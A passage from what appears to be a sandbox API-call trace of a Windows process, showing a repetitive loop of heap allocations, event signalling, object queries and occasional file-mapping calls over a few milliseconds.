(HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.437] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.437] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.437] ResetEvent (hEvent=0xe8) returned 1 [0057.437] SetEvent (hEvent=0xec) returned 1 [0057.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.437] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.437] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.437] ResetEvent (hEvent=0xe8) returned 1 [0057.437] SetEvent (hEvent=0xec) returned 1 [0057.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.437] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.437] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.437] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.438] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.438] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.438] ResetEvent (hEvent=0xe8) returned 1 [0057.438] SetEvent (hEvent=0xec) returned 1 [0057.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.438] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.438] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.438] ResetEvent (hEvent=0xe8) returned 1 [0057.438] SetEvent (hEvent=0xec) returned 1 [0057.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.438] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.438] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.438] ResetEvent (hEvent=0xe8) returned 1 [0057.438] SetEvent (hEvent=0xec) returned 1 [0057.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.438] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.439] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.439] ResetEvent (hEvent=0xe8) returned 1 [0057.439] SetEvent (hEvent=0xec) returned 1 [0057.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.439] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.439] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.439] ResetEvent (hEvent=0xe8) returned 1 [0057.439] SetEvent (hEvent=0xec) returned 1 [0057.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.439] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.439] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.439] ResetEvent (hEvent=0xe8) returned 1 [0057.439] SetEvent (hEvent=0xec) returned 1 [0057.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.439] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.440] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.440] ResetEvent (hEvent=0xe8) returned 1 [0057.440] SetEvent (hEvent=0xec) returned 1 [0057.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.440] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.440] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.440] ResetEvent (hEvent=0xe8) returned 1 [0057.440] SetEvent (hEvent=0xec) returned 1 [0057.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.440] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.440] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.440] ResetEvent (hEvent=0xe8) returned 1 [0057.440] SetEvent (hEvent=0xec) returned 1 [0057.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.440] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.440] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.441] ResetEvent (hEvent=0xe8) returned 1 [0057.441] SetEvent (hEvent=0xec) returned 1 [0057.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.441] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.441] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.441] ResetEvent (hEvent=0xe8) returned 1 [0057.441] SetEvent (hEvent=0xec) returned 1 [0057.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.441] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.441] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.441] ResetEvent (hEvent=0xe8) returned 1 [0057.441] SetEvent (hEvent=0xec) returned 1 [0057.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.441] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.441] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.441] ResetEvent (hEvent=0xe8) returned 1 [0057.442] SetEvent (hEvent=0xec) returned 1 [0057.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.442] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.442] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.442] ResetEvent (hEvent=0xe8) returned 1 [0057.442] SetEvent (hEvent=0xec) returned 1 [0057.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.442] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.442] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.442] ResetEvent (hEvent=0xe8) returned 1 [0057.442] SetEvent (hEvent=0xec) returned 1 [0057.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.442] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.442] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.442] ResetEvent (hEvent=0xe8) returned 1 [0057.442] SetEvent (hEvent=0xec) returned 1 [0057.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.443] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.443] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.443] ResetEvent (hEvent=0xe8) returned 1 [0057.443] SetEvent (hEvent=0xec) returned 1 [0057.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.443] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.443] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.443] ResetEvent (hEvent=0xe8) returned 1 [0057.443] SetEvent (hEvent=0xec) returned 1 [0057.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.443] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.443] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.443] ResetEvent (hEvent=0xe8) returned 1 [0057.443] SetEvent (hEvent=0xec) returned 1 [0057.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.444] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.444] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.444] ResetEvent (hEvent=0xe8) returned 1 [0057.444] SetEvent (hEvent=0xec) returned 1 [0057.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.444] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.444] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.444] ResetEvent (hEvent=0xe8) returned 1 [0057.444] SetEvent (hEvent=0xec) returned 1 [0057.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.444] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.444] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.444] ResetEvent (hEvent=0xe8) returned 1 [0057.444] SetEvent (hEvent=0xec) returned 1 [0057.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.445] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.445] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.445] ResetEvent (hEvent=0xe8) returned 1 [0057.445] SetEvent (hEvent=0xec) returned 1 [0057.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.445] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.445] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.445] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.445] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.445] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.445] ResetEvent (hEvent=0xe8) returned 1 [0057.445] SetEvent (hEvent=0xec) returned 1 [0057.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.445] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.445] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.445] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.445] ResetEvent (hEvent=0xe8) returned 1 [0057.446] SetEvent (hEvent=0xec) returned 1 [0057.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.446] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.446] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.446] ResetEvent (hEvent=0xe8) returned 1 [0057.446] SetEvent (hEvent=0xec) returned 1 [0057.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.446] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.446] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.446] ResetEvent (hEvent=0xe8) returned 1 [0057.446] SetEvent (hEvent=0xec) returned 1 [0057.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.446] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.446] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.446] ResetEvent (hEvent=0xe8) returned 1 [0057.446] SetEvent (hEvent=0xec) returned 1 [0057.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.447] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.447] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.447] ResetEvent (hEvent=0xe8) returned 1 [0057.447] SetEvent (hEvent=0xec) returned 1 [0057.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.447] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.447] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.447] ResetEvent (hEvent=0xe8) returned 1 [0057.447] SetEvent (hEvent=0xec) returned 1 [0057.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.447] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.447] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.447] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.447] ResetEvent (hEvent=0xe8) returned 1 [0057.447] SetEvent (hEvent=0xec) returned 1 [0057.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.448] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.448] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.448] ResetEvent (hEvent=0xe8) returned 1 [0057.448] SetEvent (hEvent=0xec) returned 1 [0057.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.448] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.448] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.448] ResetEvent (hEvent=0xe8) returned 1 [0057.448] SetEvent (hEvent=0xec) returned 1 [0057.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.448] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.448] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.448] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.448] ResetEvent (hEvent=0xe8) returned 1 [0057.448] SetEvent (hEvent=0xec) returned 1 [0057.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.449] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.449] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.449] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.449] ResetEvent (hEvent=0xe8) returned 1 [0057.449] SetEvent (hEvent=0xec) returned 1 [0057.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.449] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.449] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.449] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.449] ResetEvent (hEvent=0xe8) returned 1 [0057.449] SetEvent (hEvent=0xec) returned 1 [0057.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.449] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.449] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.449] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.449] ResetEvent (hEvent=0xe8) returned 1 [0057.449] SetEvent (hEvent=0xec) returned 1 [0057.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.450] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.450] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.450] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.450] ResetEvent (hEvent=0xe8) returned 1 [0057.450] SetEvent (hEvent=0xec) returned 1 [0057.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.450] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.450] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 